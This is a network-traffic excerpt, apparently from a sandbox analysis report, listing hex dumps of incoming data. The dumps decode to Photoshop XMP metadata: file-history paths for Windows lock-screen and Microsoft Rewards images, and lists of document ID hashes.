2022-07-20 17:09:02 UTC	9639	IN	Data Raw: 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4f 75 74 6c 6f 6f 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 39 39 37 38 36 30 31 5f 31 39 32 30 78 31 30 38 30 34 30 37 45 39 35 39 31 36 41 33 46 35 46 45 42 33 32 37 37 41 36 38 44 30 34 44 42 41 43 43 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 37 54 31 33 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 Data Ascii: ming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Outlook_GettyImages-169978601_1920x1080407E95916A3F5FEB3277A68D04DBACC2.psb saved 2017-08-17T13:03:07-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-08-28
2022-07-20 17:09:02 UTC	9655	IN	Data Raw: 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 57 65 6c 63 6f 6d 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 52 65 77 61 72 64 73 2d 57 65 6c 63 6f 6d 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 37 31 37 39 32 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 31 3a 33 31 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 Data Ascii: 10\MSrewards\Welcome\CHOSEN\Crops\MS-Rewards-Welcome_GettyImages-467179239_1920x1080.jpg saved 2017-09-28T11:31:27-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41
2022-07-20 17:09:02 UTC	9671	IN	Data Raw: 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 30 35 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 36 30 37 38 36 37 32 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 30 37 3a 31 31 2d 30 38 3a 30 Data Ascii: Lockscreen_1920x1080_Landscape.psd opened 2017-11-15T16:05:32-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Reacquisition\Crops\Office-Reacquisition_shutterstock_360786725_1920x1080.psd saved 2017-11-15T16:07:11-08:0
2022-07-20 17:09:02 UTC	9679	IN	Data Raw: 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 33 3a 32 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 39 33 35 36 34 38 34 5f 31 39 32 30 78 31 30 38 30 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 33 34 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c Data Ascii: 0x1080_Landscape.psd opened 2017-12-04T11:33:22-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_GettyImages-619356484_1920x10802.psd saved 2017-12-04T11:34:18-08:00 File C:\
2022-07-20 17:09:02 UTC	9695	IN	Data Raw: 54 32 33 3a 31 32 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 32 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 44 65 63 32 30 31 37 2d 50 6f 73 74 53 65 61 73 6f 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 2d 50 6f 73 74 53 65 61 73 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 37 34 30 35 34 Data Ascii: T23:12:12-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-12-20T23:32:45-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NFL\Dec2017-PostSeason\CHOSEN\Crops\MIT-NFL-PostSeason_GettyImages-5474054
2022-07-20 17:09:02 UTC	9711	IN	Data Raw: 63 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 32 36 3a 34 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 Data Ascii: cs\_CHOSEN\Crops\MIT-WinterOlympics_GettyImages-161928393_1920x1080.psd saved 2018-01-31T13:26:40-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterOlympics\_CHOSEN\Crops\MIT-WinterOlympics_GettyImages-161928393_1920x1080.jpg saved&#xA
2022-07-20 17:09:02 UTC	9719	IN	Data Raw: 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 37 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 36 34 30 32 35 34 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 37 3a 34 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d Data Ascii: 1920x1080.jpg saved 2018-02-15T15:17:24-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_536402545_1920x1080.jpg saved 2018-02-15T15:17:43-08:00 File C:\Users\v-lizagh\M
2022-07-20 17:09:02 UTC	9735	IN	Data Raw: 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 33 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 78 65 72 5f 35 30 30 70 78 2d 31 30 33 36 31 31 35 34 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 35 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 Data Ascii: saved 2018-03-21T15:43:35-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mixer_500px-103611543_1920x1080.jpg saved 2018-03-21T15:45:35-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mixer
2022-07-20 17:09:02 UTC	9751	IN	Data Raw: 37 43 34 45 30 38 37 44 31 42 38 44 42 41 34 34 31 34 33 36 30 30 31 34 33 38 31 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 37 46 42 37 38 43 36 35 39 43 39 35 33 45 42 30 42 33 31 36 36 39 37 43 34 41 38 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 39 31 33 33 37 43 38 33 34 39 46 41 38 30 37 42 33 41 41 37 41 31 45 38 34 43 31 31 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 39 46 38 42 32 36 37 43 43 39 43 38 35 32 38 35 42 44 37 37 30 46 35 42 30 30 43 45 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 39 46 43 45 36 34 41 38 32 42 34 46 44 38 32 34 32 44 38 31 31 35 35 36 44 33 37 36 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 41 34 33 36 41 Data Ascii: 7C4E087D1B8DBA44143600143814B5</rdf:li> <rdf:li>087FB78C659C953EB0B316697C4A88C0</rdf:li> <rdf:li>0891337C8349FA807B3AA7A1E84C11A0</rdf:li> <rdf:li>089F8B267CC9C85285BD770F5B00CE36</rdf:li> <rdf:li>089FCE64A82B4FD8242D811556D3764B</rdf:li> <rdf:li>08A436A
2022-07-20 17:09:02 UTC	9758	IN	Data Raw: 38 30 33 32 43 37 45 46 36 35 32 37 34 41 45 42 30 30 31 42 32 31 33 34 45 46 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 33 34 39 34 30 35 35 43 38 46 32 46 46 36 34 31 34 34 37 39 43 38 34 38 41 45 45 44 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 33 44 33 31 45 45 45 33 33 42 35 44 38 34 35 42 45 35 46 38 39 31 41 44 34 46 31 31 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 34 37 45 30 46 34 39 31 34 36 35 42 46 36 39 36 31 44 39 33 33 38 45 43 37 35 44 30 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 34 46 41 38 45 42 37 31 45 32 37 39 35 30 44 45 35 39 42 31 30 31 32 35 41 36 37 34 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 36 43 46 30 38 35 43 Data Ascii: 8032C7EF65274AEB001B2134EF32</rdf:li> <rdf:li>0E3494055C8F2FF6414479C848AEEDDF</rdf:li> <rdf:li>0E3D31EEE33B5D845BE5F891AD4F115C</rdf:li> <rdf:li>0E47E0F491465BF6961D9338EC75D030</rdf:li> <rdf:li>0E4FA8EB71E27950DE59B10125A67421</rdf:li> <rdf:li>0E6CF085C
2022-07-20 17:09:02 UTC	9774	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 38 42 44 46 33 45 33 35 42 30 46 43 38 37 41 31 44 43 31 32 30 32 34 36 44 38 45 38 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 41 36 37 31 46 31 36 37 37 41 39 45 41 42 37 44 35 37 44 36 42 30 46 39 46 37 45 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 41 46 39 34 38 33 45 30 41 31 36 38 33 45 31 42 34 34 43 35 35 39 37 45 44 38 45 46 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 42 31 32 46 34 34 37 41 43 36 34 39 44 44 30 42 37 33 46 42 32 46 41 32 35 45 42 41 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 38 43 31 42 43 45 44 37 36 35 31 30 31 44 41 31 43 31 30 38 31 46 38 35 35 30 44 37 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>188BDF3E35B0FC87A1DC120246D8E891</rdf:li> <rdf:li>18A671F1677A9EAB7D57D6B0F9F7E0D8</rdf:li> <rdf:li>18AF9483E0A1683E1B44C5597ED8EF28</rdf:li> <rdf:li>18B12F447AC649DD0B73FB2FA25EBAD9</rdf:li> <rdf:li>18C1BCED765101DA1C1081F8550D7808</rdf:li> <
2022-07-20 17:09:02 UTC	9790	IN	Data Raw: 72 64 66 3a 6c 69 3e 32 34 46 37 36 39 38 32 37 34 35 32 45 38 35 34 45 45 31 33 36 41 43 33 32 38 34 44 39 32 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 46 43 43 33 45 32 33 44 35 30 33 34 35 43 46 36 31 30 36 34 32 41 42 43 36 31 43 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 31 32 44 44 45 38 33 44 35 42 42 35 41 41 46 30 31 33 42 43 43 43 37 34 38 37 42 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 32 32 45 31 34 46 43 44 30 45 36 39 46 43 44 32 34 34 38 41 41 39 34 36 30 43 31 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 31 43 35 30 31 41 46 32 32 33 45 31 30 33 34 32 39 45 38 46 41 31 46 44 37 41 34 33 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>24F769827452E854EE136AC3284D9262</rdf:li> <rdf:li>24FCC3E23D50345CF610642ABC61CFEE</rdf:li> <rdf:li>25112DDE83D5BB5AAF013BCCC7487B02</rdf:li> <rdf:li>25122E14FCD0E69FCD2448AA9460C15F</rdf:li> <rdf:li>251C501AF223E103429E8FA1FD7A4306</rdf:li> <rdf:l
2022-07-20 17:09:02 UTC	9798	IN	Data Raw: 66 3a 6c 69 3e 32 41 30 35 34 30 31 42 31 34 31 38 39 46 44 33 30 46 36 33 45 38 37 44 36 41 36 41 46 34 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 31 37 38 45 30 31 35 32 46 34 41 46 32 36 46 32 43 37 44 35 41 30 34 32 44 35 34 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 31 44 43 43 30 34 33 39 30 36 34 34 35 36 30 32 33 37 35 32 39 38 33 36 30 39 38 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 32 31 36 39 36 42 36 35 37 43 46 32 45 43 44 45 39 41 35 37 46 38 42 30 39 42 43 31 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 32 44 44 34 33 36 36 39 45 34 35 43 32 42 44 36 45 46 43 34 46 44 33 38 34 35 39 33 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>2A05401B14189FD30F63E87D6A6AF4FC</rdf:li> <rdf:li>2A178E0152F4AF26F2C7D5A042D54900</rdf:li> <rdf:li>2A1DCC0439064456023752983609824D</rdf:li> <rdf:li>2A21696B657CF2ECDE9A57F8B09BC1A9</rdf:li> <rdf:li>2A2DD43669E45C2BD6EFC4FD38459303</rdf:li> <rdf:li>
2022-07-20 17:09:02 UTC	9814	IN	Data Raw: 33 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 37 37 46 34 32 35 39 38 35 36 35 34 36 37 30 42 42 31 46 34 43 41 32 42 45 41 32 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 38 41 45 36 32 46 32 42 38 42 30 45 44 35 46 41 41 34 45 36 46 41 44 36 44 37 43 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 41 44 39 34 36 33 34 41 33 45 44 36 38 38 30 44 45 37 43 33 32 32 46 31 41 37 39 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 39 46 37 41 41 31 35 46 34 37 35 46 36 31 37 30 30 37 45 31 33 45 39 36 39 34 41 32 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 41 32 32 39 37 44 30 35 37 43 31 39 35 37 44 46 35 37 30 38 32 41 39 34 39 36 41 32 36 39 3c 2f Data Ascii: 370</rdf:li> <rdf:li>34877F425985654670BB1F4CA2BEA27B</rdf:li> <rdf:li>3488AE62F2B8B0ED5FAA4E6FAD6D7C19</rdf:li> <rdf:li>348AD94634A3ED6880DE7C322F1A79F9</rdf:li> <rdf:li>349F7AA15F475F617007E13E9694A2DB</rdf:li> <rdf:li>34A2297D057C1957DF57082A9496A269</
2022-07-20 17:09:02 UTC	9830	IN	Data Raw: 46 37 38 33 41 37 33 38 34 34 33 34 45 35 34 31 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 33 30 37 32 37 31 34 37 36 38 45 44 42 43 30 43 39 31 39 39 45 43 39 31 37 31 43 44 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 33 33 41 30 46 31 33 31 30 46 39 36 41 45 39 41 44 38 44 42 32 35 30 43 46 38 34 39 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 34 38 46 34 35 31 38 38 32 39 39 39 36 45 45 45 44 41 38 31 41 36 46 41 42 38 46 46 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 35 35 43 34 39 39 45 46 36 45 36 35 37 30 46 41 44 37 45 42 42 44 39 41 44 44 31 32 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 35 41 31 30 31 34 45 34 33 46 44 30 36 30 45 37 Data Ascii: F783A7384434E541F67</rdf:li> <rdf:li>403072714768EDBC0C9199EC9171CD23</rdf:li> <rdf:li>4033A0F1310F96AE9AD8DB250CF849D8</rdf:li> <rdf:li>4048F4518829996EEEDA81A6FAB8FF88</rdf:li> <rdf:li>4055C499EF6E6570FAD7EBBD9ADD1240</rdf:li> <rdf:li>405A1014E43FD060E7
2022-07-20 17:09:02 UTC	9838	IN	Data Raw: 38 43 39 31 33 30 37 45 37 46 37 37 44 45 43 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 30 31 30 44 37 34 46 43 39 32 37 45 46 41 39 36 35 44 33 41 41 41 41 41 45 38 36 44 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 43 31 38 43 31 37 44 44 35 36 39 36 43 32 42 32 33 36 41 41 41 39 38 41 32 37 39 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 32 35 31 30 46 33 31 37 42 41 37 36 38 43 43 30 44 36 32 38 33 36 30 36 39 33 46 37 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 43 42 37 46 41 44 35 33 34 38 37 32 42 43 37 32 36 38 31 30 32 30 46 31 37 42 41 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 35 32 30 41 33 44 45 34 45 39 44 37 34 31 39 44 46 41 Data Ascii: 8C91307E7F77DECF9</rdf:li> <rdf:li>46010D74FC927EFA965D3AAAAAE86D3A</rdf:li> <rdf:li>461C18C17DD5696C2B236AAA98A2795A</rdf:li> <rdf:li>462510F317BA768CC0D628360693F774</rdf:li> <rdf:li>463CB7FAD534872BC72681020F17BA0B</rdf:li> <rdf:li>46520A3DE4E9D7419DFA
2022-07-20 17:09:02 UTC	9854	IN	Data Raw: 39 46 42 42 46 39 41 37 44 45 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 30 35 43 30 38 45 42 45 41 41 45 42 37 35 30 31 46 44 41 33 36 44 43 45 43 35 33 39 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 31 36 42 43 42 33 42 42 46 41 32 34 36 30 30 43 32 38 45 35 34 32 39 43 44 31 33 31 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 31 41 42 36 34 39 32 33 44 30 38 46 30 43 46 44 33 33 37 39 39 46 46 42 39 43 39 30 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 31 46 41 30 42 39 38 35 41 44 42 33 35 30 36 44 46 45 34 38 34 46 31 37 46 37 33 30 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 32 44 38 31 43 32 35 41 33 45 36 46 46 38 32 41 44 30 45 45 38 39 44 Data Ascii: 9FBBF9A7DED3</rdf:li> <rdf:li>5105C08EBEAAEB7501FDA36DCEC53935</rdf:li> <rdf:li>5116BCB3BBFA24600C28E5429CD1319F</rdf:li> <rdf:li>511AB64923D08F0CFD33799FFB9C90EF</rdf:li> <rdf:li>511FA0B985ADB3506DFE484F17F730DD</rdf:li> <rdf:li>512D81C25A3E6FF82AD0EE89D
2022-07-20 17:09:02 UTC	9870	IN	Data Raw: 33 34 36 44 38 31 45 32 38 44 43 46 45 44 36 36 34 35 39 38 33 35 32 43 46 33 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 34 35 35 35 35 34 46 35 34 31 43 44 46 44 46 31 45 43 32 43 35 46 30 35 32 38 42 33 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 34 45 32 35 44 33 38 37 42 41 31 41 36 38 45 32 31 30 33 37 46 30 30 43 38 41 41 34 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 35 30 30 41 33 39 39 36 31 37 46 36 32 42 32 44 38 42 33 30 32 34 30 32 45 38 38 45 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 35 37 44 33 46 42 33 34 30 38 45 36 35 32 46 36 34 37 43 31 44 30 44 35 45 34 32 38 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 35 41 36 38 37 39 30 Data Ascii: 346D81E28DCFED664598352CF359</rdf:li> <rdf:li>5D455554F541CDFDF1EC2C5F0528B3D2</rdf:li> <rdf:li>5D4E25D387BA1A68E21037F00C8AA497</rdf:li> <rdf:li>5D500A399617F62B2D8B302402E88EAC</rdf:li> <rdf:li>5D57D3FB3408E652F647C1D0D5E42888</rdf:li> <rdf:li>5D5A68790
2022-07-20 17:09:02 UTC	9878	IN	Data Raw: 37 39 30 39 44 30 34 43 42 39 41 42 39 46 38 38 34 45 37 30 44 33 45 39 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 44 34 35 38 42 44 36 30 34 44 31 32 35 37 38 38 38 34 33 43 33 30 39 43 41 39 34 43 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 44 42 36 46 44 46 37 39 35 31 38 45 30 31 36 30 32 37 43 32 46 30 35 35 30 35 46 36 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 45 33 35 39 37 45 45 37 42 36 32 44 34 38 45 43 44 43 46 34 46 30 31 35 45 30 43 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 46 39 34 46 35 42 36 35 39 33 44 41 44 32 37 43 37 34 36 33 34 46 35 34 32 43 46 45 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 30 37 44 38 35 43 30 30 36 Data Ascii: 7909D04CB9AB9F884E70D3E949</rdf:li> <rdf:li>63D458BD604D125788843C309CA94CBF</rdf:li> <rdf:li>63DB6FDF79518E016027C2F05505F63B</rdf:li> <rdf:li>63E3597EE7B62D48ECDCF4F015E0C314</rdf:li> <rdf:li>63F94F5B6593DAD27C74634F542CFE27</rdf:li> <rdf:li>6407D85C006
